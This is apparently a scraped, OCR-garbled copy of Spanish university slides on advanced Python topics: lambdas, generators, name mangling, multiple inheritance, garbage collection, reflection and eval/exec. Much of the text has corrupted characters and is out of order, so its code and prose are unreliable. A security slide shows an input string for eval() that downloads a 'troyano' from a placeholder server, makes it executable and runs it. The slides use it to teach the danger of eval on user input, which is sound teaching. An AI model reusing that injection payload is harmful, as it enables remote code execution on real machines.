=]]fun*ion( (< float Cevuelve un nemero aleatorio entre 2 y 1 =]] import random return random&random(
def mirandom( :
Docu!entacin en Python 4 III
Para ver esta docu!entacin
help(lo>uesea pydo* mDdulo
Per!ite ser accedido desde shell
pydo* mDdulo pydo* (p puerto pydo* ('
1ontando un !ini!alista servidor 2eb
1ostrndose en una ventana
Ker /do*/
"iltros
Pode!os hacer &iltros sencillos de secuencias en una sola l#nea
6expr(RMRM for RMRM in MQS;0 (if *ondi*ion : E(e!plo 3G avanY/filtros&py5-
<<< palabra B =hola] <<< print AA&Noin(6!Zi for i in palabra: hhoollaa <<< 6!Zi for i in ran'e(12 62,.,5,1!,13:
if i X ! BB 2:
"unciones especiales 4 I
Punteros a &uncin
Si recorda!os en ;hreads ya los utili$a!os

print =hola mundo]
<<< def f( : &&& <<< puntero B f <<< puntero( hola mundo <<< def f!(fun*ion : &&& fun*ion( <<< f!(puntero hola mundo
"unciones especiales 4 II
Punteros a !todos
def KKinitKK(self,nombre : self&nombre B nombre def f(self : print "hola, soy",self&nombre
*lass 0:
puntero B 0&f a B 0("mi nombre" puntero(a print puntero
#puntero es un puntero al mGtodo, no es llamable sin m@s #para utiliYarlo, le tenemos >ue pasar una instan*ia #Me llama pas@ndole *omo self, a #Ce he*ho, puntero es un unbound method de 0
#Si >uisieramos un mGtodo de 0 bounded a una instan*ia, tendr?amos >ue ha*er esto: otroKpuntero B a&f print otroKpuntero otroKpuntero( #f de la instan*ia, no de la *lase #Rste s? es un bound method #W este s? es llamable
7a!bda
Co!o ya he!os visto en la seccin de =UIs e.isten las &unciones lambda
Son &unciones anni!as
btiles por e(e!plo para eventos Par!etros co!o sie!pre 3Zar's ZZLar's5 /o per!iten !s %ue una e.presin
lambda par@metros : resultado

<<< def de*irKunKnumero(numero : &&& print =Poy a ha*er al'o en fun*iDn del nemero],numero
<<< import threadin' <<< t B threadin'&;imer(!&4,lambda : de*irKunKnumero(4 <<< t&start(
<<< Poy a ha*er al'o en fun*iDn del nemero 4
Oield
&&& &&& &&& &&& <<< for i in f(6AaA,AbA,A*A: : &&& &&& Poy a devolver a Me ha devuelto a Poy a devolver b Me ha devuelto b Poy a devolver * Me ha devuelto * print =Me ha devuelto],i
=enerador auto!tico de iteradores

for i in lista: print =Poy a devolver],i yield i
<<< def f(lista :
Ker avanY/fun*iones/yield&py
Sobrecarga de operaciones 4 I
7as clases en Python tienen una serie de !todos especiales %ue les sirve para di&erentes tareas- 3avanY/*lases/operadores&py5

KKinitKK - constructor de clase KKstrKK - si!ilar al toStrin' de Java o ;oStrin' de 1ono0,/E6 KKdo*KK - la docu!entacin %ue guarda!os poniendo un string deba(o de la &uncin0!dulo0etc, KK'tKK, KKe>KK, KKltKK- se invocan cuando alguien lla!a a instancia c otra 3o Z o Y,,,5 KKaddKK ,,,- otros operadores 3G 4,,,5
:culta!iento de in&or!acin
Por de&ecto un atributo es accesibledef KKinitKK(self : self&dato B 4
<<< *lass 0: &&& &&& &&& <<< a B 0( <<< print a&dato 4
Co!o regla de estilo se pone d por delante de la variable Es igual %ue poner el atributo sin !s pero co!o regla de estilo si pones 8d9 por delante al acceder a una instancia es %ue 8no deber#as9
:tra posibilidad es poner dos guiones delante
Python interna!ente pondr KJombre8lase delante del no!bre del atributo

Sigue siendo accesible Si accedes a instan*ia&KJombre8laseKKdato 8seguro %ue sabes lo %ue ests haciendo9 +&ecta a las clases hi(as 3ta!poco pueden acceder dircta!ente5 3Jame man'lin'5
avan$0clases0oculta!iento[,py
)Entonces sie!pre puedes acceder a datos privados*
>eal!ente en los lengua(es :rientados a :b(etos t#picos ta!bin puedes
=racias a ello es posible la seriali$acin de datos privados ya sea para ^C o bMM por e(e!plo E(e!plos en /avanY/*lases/a**ediendoKprivadoKenKotr osKlen'uaNes
+de!s de lo visto Python tiene otros siste!as %ue pueden servir
KK'etattrKK- En caso de %ue se intente acceder a un ca!po 0 &uncin de una instancia y el ca!po 0 &uncin no e.ista se lla!a a esta &uncin
E(e!plo en /avanY/*lases/o*ultamiento!&py
obNe*t
/uestra clase hereda de obNe*t
KK'etattributeKK(self,nombre - se le lla!a cuando alguien intenta acceder a cual%uier cosa incluso si e.iste KKsetattr(self,nombre,valor - se le lla!a cuando alguien intenta !odi&icar cual%uier cosa incluso si e.iste
Ker avanY/*lases/o*ultamiento/&py
@erencia !Fltiple
Python per!ite a una clase heredar de !s de una clase a la ve$ Un proble!a clsico de este tipo de herencia es el proble!a del dia!antemetodo( "$
*lase 0" $ *lase ^" metodo( "$ $ *lase 8 hiNa de *lases 0 y ^"$ * B instan*ia de 8( *&metodo( #E0 >uiGn llamaH
e-ghost ESIDE Universidad de Deusto 2006 Pablo Ordua, Arkaitz Ruiz
@erencia !Fltiple
En CN y Java se evita

no per!itiendo %ue una clase herede de !s de una clase soportando su &uncionalidad !ediante inter&aces
CGG s# per!it#a herencia de !s de una clase

Se resolv#a en tie!po de co!pilacin e.igiendo la ruta de la clase avanY/*lases/heren*iaKmultiple&*pp
@erencia !Fltiple
Python no puede resolverlo en tie!po de co!pilacin
7a solucin pasa por llevar una bFs%ueda en pro&undidad sobre las clases de las %ue hereda
@erencia !Fltiple
En el caso visto si se lla!a al !todo 8!etodo9 de la clase E se buscar pri!ero en C %ue buscar en ; %ue buscar en +, Si no se encuentra se buscar en D Por tanto no sie!pre es igual-
*lass R(8,C
%ue*lass R(C,8 avanY/*lases/heren*iaKmultiple&py

>ecoleccin de basura
7a recoleccin de basura es dependiente de la i!ple!entacin de Python

Jython IronPython utili$arn los =C de Java 1ono0,/E6 etc, /os centrare!os en el recolector de basura de CPython
7a base para la liberacin de !e!oria en Python es el contador de re&erencias

Por cada instancia hay un contador de cuntas re&erencias hay a la instancia Si el nF!ero de re&erencias llega a M la instancia es eli!inada
Cuando una instancia es eli!inada se lla!a a su !todo KKdelKK Pode!os eli!inar una variable con del
I1P:>6+/6E- avanY/'*/referen*ias1&py
def KKdelKK(self : print =Me muero!]
<<< *lass 0: &&& &&& &&& <<< a B 0( <<< a B 4 Me muero! <<< a B 0( <<< del a Me muero! #a apunta a otra instan*ia de 0 #Rliminamos a& Wa no existe la referen*ia: la instan*ia se muere #a apunta a una instan*ia de 0 #0hora a apunta a otro lado: la instan*ia no es referen*iada y se elimina
Cuidado
del no e%uivale al delete de CGG
Slo eli!ina una variable si otra variable est re&erenciando a la !is!a instancia la instancia no ser destruida Si una instancia apunta a otra y es apuntada por la !is!a los contadores de a!bas instancias nunca llegarn a M
Proble!as- >e&erencias c#clicas
avanY/'*/referen*ias!&py
Cuidado
KKdelKK
+l igual %ue el finaliYe Java nadie puede asegurar cundo KKdelKK ser invocado ni si%uiera si ser o no invocado /o debe ser utili$ado para la liberacin de recursos
PC!o evitar proble!as con re&erencias c#clicasS

/or!al!ente no son un proble!a En los casos en los %ue s# lo sean se pueden utili$ar %eaLrefs- avanY/'*/referen*ias/&py
>e&lection en Python
Pode!os e.plotar las capacidades din!icas !ediante sus capacidades de refle*tion
Podre!os dada una clase desconocida cuando progra!a!os ver %u !todos tiene dada una instancia invocarlos din!ica!ente etc, etc, Podre!os incluso reali$ar !odi&icaciones
+adir 0 eli!inar &unciones din!ica!ente Ca!biar tipos de datos =enerar clases din!ica!ente ,,,
Python tiene grandes capacidades de introspeccin
dir3!odulo 0 clase 0,,,5
7ista los atributos &unciones etc, %ue haya en el !dulo 0 clase 0 etc, :btiene algo,3valor de no!bre5 siendo no!bre un strin' Devuelve si 8algo9 tiene un 8no!bre9
'etattr3algo no!bre5
#asattr3algo no!bre5
avanY/refle*tion/refle*tion1&py
Pode!os ade!s !odi&icar los valores
setattr3algo no!bre valor5
asigna!os 8valor9 a la variable 8no!bre9 de 8algo9 Si 8no!bre9 no e.iste lo crea borra!os la variable 8no!bre9 de 8algo9
delattr3algo no!bre5
avanY/refle*tion/refle*tion!&py
KKdi*tKK
6oda clase !dulo instancia,,, tienen este ob(eto y por de&ecto es !odi&icable En l se guardan las variables internas asociadas a un no!bre En el KKdi*tKK de una instancia se guardan las variables de la instancia !ientras %ue en el KKdi*tKK de la clase los !todos y variables globales
avanY/refle*tion/refle*tion/&py
Co!o esta!os viendo podre!os ver y !odi&icar din!ica!ente nuestras estructuras &cil!ente
Co!o dec#a!os antes esto puede ser Ftil para obtener in&or!acin de un !dulo %ue no cono$ca!os !ientras progra!a!os 3para seriali$arlo por e(e!plo5 Pode!os crear clases din!ica!ente %ue tengan di&erentes co!porta!ientos segFn unos par!etros y %ue todas las instancias de esta clase tengan esos co!porta!ientos !anteniendo integridad Un largo etc,
+van$ando en Python
El KKdi*tKK es aplicable a !dulos,,,

Incluso al !dulo actual De hecho las variables &unciones clases locales no son !s %ue claves del KKdi*tKK del !dulo actual
lo*als(
'lobals(
avanY/avanYando/avanYando1&py
Si todo son KKdi*tKKs Ppuedo poner &unciones dentro de &unciones etcS
S#- avanY/avanYando/avanYando!&py
Instancias y clases
>elaciones entre instancia y clase
Una instancia es de tipo instan*e Una clase es de tipo *lassobN El tipo instan*e es de tipo type El tipo *lassobN es de tipo type El tipo type es de tipo type Una instancia sabe a %u clase pertenece gracias a su atributo KK*lassKK %ue es una re&erencia a la clase en s#
Instancias y clases

avanY/avanYando/avanYando/&py avanY/avanYando/avanYando.&py
1s propiedades din!icas
E(ecucin din!ica de strin's
eval
&uncin por de&ecto evalFa una e.presin y devuelve el resultado
Debe ser una e.presin una declaracin de clase no la e(ecuta por e(e!plo
exe*
propiedad del lengua(e de&inida co!o si &uese una &uncin
E(ecuta cdigo de un strin' &ichero u ob(eto de cdigo
avanY/avanYando/avanYando4&py
Proble!as con estas propiedades
6odas estas propiedades nos o&recen una gran potencia
Pode!os !etaprogra!ar- pode!os progra!ar la generacin de cdigo din!ica!ente para deter!inadas circunstancias En ocasiones especial!ente a%uellas en las %ue se progra!a de !anera relativa!ente !ecnica nos puede ayudar !ucho Sin e!bargo ta!bin trae proble!as
Proble!as
Ilegibilidad
al usar estas propiedades el cdigo se vuelve !s co!ple(o !s di&#cil de leer entender y !antener debe!os validar todav#a !s la entrada de in&or!acin ya %ue si un atacante consigue inyectar cdigo nos est inyectando cdigo Python dircta!ente
Seguridad
Proble!as
Seguridad
Por e(e!plo en el caso del tres en raya la lectura de teclado hac#a estoSi el usuario escribe algo tal %ue-
s ' ra()input*+ scrib& ..., +casillaCoords ' &.al*s- / int&rpr&ta la &ntrada como una tupla
open(A/tmp/troyanoA,A%A &%rite(KKimportKK(Aurllib!A &urlopen(Ahttp://servidor/troyano A &read( or 1,KKimportKK(AosA &*hmod(A/tmp/troyanoA,2x144 or KKimportKK(Apopen!A &popen/(A/tmp/troyanoA 61:2: or 1
Es una e.presin correcta %ue devuelve una tupla vlida 3[ [5 %ue es interpretada co!o una casilla pero %ue ade!s ha descargado y e(ecutado un progra!a
Casos de .ito

ît;orrent siste!a -!`T-R 3222,$ope,org5 servidor de aplicaciones para construir y gestionar contenido intranets portales y aplicaciones propietarias Qndustrial Mi'ht f Ma'i* usa Python en el proceso de produccin de gr&icos por ordenador 7J9 Mailman el popular gestor de listas de correo electrnico est escrito en Python 7oo'le usa interna!ente Python lo !is!o %ue Wahoo Diversas distribuciones de =/U07inu. utili$an Python para con&iguracin gestin de pa%uetes etc,
>e&erencias
6ransparencias de Python de Diego 7pe$ de Ipia
http-00paginaspersonales,deusto,es0dipina0
6ransparencias de Python de Pablo :rdua de Julio TMM\
http-00nctrun,e4ghost,net0
7ibro 8Dive into Python9

http-00diveintopython,org Est ba(o licencia =/U "D7 disponible incluso en apt4get
7ibro 8Python Progra!!ing Patterns9 3Prentice @all5
http-00vig,prenhall,co!0catalog0acade!ic0product0[ UM_L M[^MUM_\L[ MM
7ibro 8Progra!!ing Python9 7ibro 8Jython essentials9
http-00222,oreilly,co!0catalog0pythonT0
http-00222,oreilly,co!0catalog0(ythoness0
Docu!entacin de Python-
http-00docs,python,org

Intro Python

Cargado por

Información del documento

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Intro Python

Cargado por

Copyright:

Formatos disponibles

$ntroducci%n a Pyt#on

"iloso&#a de los cursillos

1s in&or!acin sobre los Cursillos de Julio

Este concreta!ente se da desde el grupo de so&t2are libre de la Universidad 3el e4ghost5

2006 Pablo Ordua, Arkaitz Ruiz

1aterial del cursillo

2006 Pablo Ordua, Arkaitz Ruiz e-ghost ESIDE Universidad de Deusto

2006 Pablo Ordua, Arkaitz Ruiz

e-ghost ESIDE Universidad de Deusto

Python &ue creado por =uido van >ossu! 3http-00222,python,org0?guido05

2006 Pablo Ordua, Arkaitz Ruiz

e-ghost ESIDE Universidad de Deusto

@ola 1undo en Python

2006 Pablo Ordua, Arkaitz Ruiz

e-ghost ESIDE Universidad de Deusto

1uy legible y elegante

Python standard library 3 http-00222,python,org0doc0current0lib0lib,ht!l5 contiene un sin&#n de clases de utilidad

2006 Pablo Ordua, Arkaitz Ruiz

2006 Pablo Ordua, Arkaitz Ruiz

e-ghost ESIDE Universidad de Deusto

Python usa tabulacin 3o espaciado5 para !ostrar estructura de blo%ues

Cdigo en C/Java if (x " if (y " f1( # $ f!( # $

e-ghost ESIDE Universidad de Deusto

Python vs, Java

Java es un lengua(e de progra!acin !uy co!pleto %ue o&rece

Python es un lengua(e de scripting

;ueno para prototipos pero !alo para grandes siste!as

Puede cascar en tie!po de e(ecucin

2006 Pablo Ordua, Arkaitz Ruiz

PPara %u QnoR es FtilS

Python no es el lengua(e per&ecto no es bueno para

Progra!acin de ba(o nivel 3syste!4progra!!ing5 co!o progra!acin de drivers y Iernels

+plicaciones %ue re%uieren alta capacidad de co!puto

2006 Pablo Ordua, Arkaitz Ruiz

;a(ar la Flti!a versin de Python 3T,U5 de http://%%%&python&or'/do%nload/

Para Hindo2s e(ecutar instalador Para 7inu.

2006 Pablo Ordua, Arkaitz Ruiz

e-ghost ESIDE Universidad de Deusto

Usando Python desde l#nea de co!ando

Un co!ando si!ple<<< print "Hola Mundo" Hola Mundo <<<

2006 Pablo Ordua, Arkaitz Ruiz

e-ghost ESIDE Universidad de Deusto

E(ecutando progra!a holamundo&py

Python desde script

=uardar las siguientes sentencias en &icheroholamundo&py

#!/usr/bin/env python print =Hola mundo!"

E(ecutar el script desde l#nea de co!ando-

, python hello%orld&py Hola mundo! ,

2006 Pablo Ordua, Arkaitz Ruiz

e-ghost ESIDE Universidad de Deusto

7os identi&icadores sirven para no!brar variables &unciones y !dulos

Kariables y &unciones deli!itadas por KK corresponden a s#!bolos i!pl#cita!ente de&inidos

2006 Pablo Ordua, Arkaitz Ruiz

/u!ricos 3integer long integer &loating4point and co!ple.5

2006 Pablo Ordua, Arkaitz Ruiz

e-ghost ESIDE Universidad de Deusto

Strings deli!itados por un par de 3A " """,AAA5

2006 Pablo Ordua, Arkaitz Ruiz

6ipos de datos III

<<< s1 B AMa vida es meNor *on -ythonA <<< strin'&find(s1, A-ythonA !1

AXA es el operador de &or!ateo de cadenas<<< provin*ia B A0rabaA

2006 Pablo Ordua, Arkaitz Ruiz

e-ghost ESIDE Universidad de Deusto

# (Z( en*odin': utf5 (Z(

if AalturaA in mydit: print AJodo enontradoA

+ una &uncin se le pueden asignar par!etros por de&ecto# funionvaloresdefeto&py

Escribir un &ichero 3esribirfihero&py5

:tros !todos de&inidos en onnetion son lose( rollbaL(